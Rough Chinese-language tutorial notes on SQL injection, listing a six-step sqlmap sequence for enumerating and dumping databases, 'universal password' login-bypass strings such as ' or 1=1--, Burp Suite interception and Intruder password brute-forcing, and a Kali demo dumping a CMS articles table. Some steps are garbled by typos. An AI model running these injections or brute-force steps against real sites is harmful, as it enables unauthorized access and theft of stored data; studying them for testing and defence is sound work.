探測順序:(注入六連)
1、Sqlmap -uhttp://www.xx.com?id=x(查詢是否存在注入點)
2、--dbs(檢測站點包含哪些數據庫)
3、--current -db(獲取當前的數據庫名)
4、--tables -D”db_name”獲取指定數據庫中的表名(-D后 接指定的數據庫名稱)
5、--columns -T”table_name” -D ”db_name”(獲取數據庫表中的字段)
6、--dump-C”columns_name”-T ”table_name”-D “db_name”(獲取字段的數據內容)
一、在用戶欄輸入:’用戶名’or 1=1--。進入MySQL界面,可以看到password是多少
->從用戶框輸入:’用戶名’or 1=1 -- |
(1) 常用的萬能密碼:’or’=’ or’ 、’or 1=1-- 、’or 1=1/*;
(2) 登錄SQL的語句:select *from admin where username =’用戶輸入的用戶名’ and password=’用戶輸入的密碼’;
(3) SQL語句:select *from admin where username =’’or 1=1—and password=’用戶密碼’;
二、滲透
1、用BURP(爆破軟件)探測,進行抓包;
2、選擇對應測試對象;
3、在BURP設置代理(為了抓包);
點AdvanLed->Network->Setting中第四個->關閉;
4、到BURP菜單欄選options(第二行里)
5、查看是否為登錄IP地址的對應網站;
如果原地址有誤則出現MySQL報錯
不報錯是:……php?id 1=1 |
6、選Intercept截斷(登陸就能顯示到抓包);
7、轉向網站輸入密碼:是正確密碼直接就進去了,是錯誤密碼就進行抓包、爆破。
8、Intecept中的Raw是抓到的包的數據;
9、把抓到的包進行發送處理:可直接點擊Intercept中的Action就能發送到intruder模塊了;
10、選intruder->2->Sand to Intrillder
點擊Positions中的Attack type:選sniper對包數據內容進行包探測,對密碼xxx進行探測。
對密碼xxx進行探測
11、在探測完之后的頁面,
12、proxy(是代理)下有Intercept;
(1) 源地址有誤報錯;
(2) 源地址無誤不報錯;
(3) 不顯示內容也報錯;
13、演示登陸注入(對登錄提交的參數進行抓取、注入)
- 登錄后將抓取的數據包copy一下。
- 右鍵選Open Terminal進入root@kali:(下面的)
- 代碼意思:(進入’Desktop’目錄)(新建一個’Untitled Decument1’類似文本文檔的)
- 將復制於內,Save到(桌面)target.txt ,關閉
用sqlmap對剛抓取的內容進行探測,探測是否存在sql注入漏洞,(username –dbs是探測內容)
探測出的cms注入的命令
中間會問三次是否繼續探測(選Y),第四次是是否要測其他,(選N)
Information-scheme是其他數據庫
14、演示CMS注入並獲取對應數據
- (-dbs是對登錄網址進行探測)在探測時可以按回車進行加速操作(在加速操作時電腦自動選擇默認)
- 探測cms中的數據庫中數據表
- (-D cms -T articles)探測cms中的數據庫中的字段
可看到是三個字段:
(-D cms -T articles -C id,title,content --dump)探測當前字段中的具體值
可看到三個字段的對應值:
到此完成使用sqlmap來探測登錄框及對應cms(ul)注入並且獲得對應數據。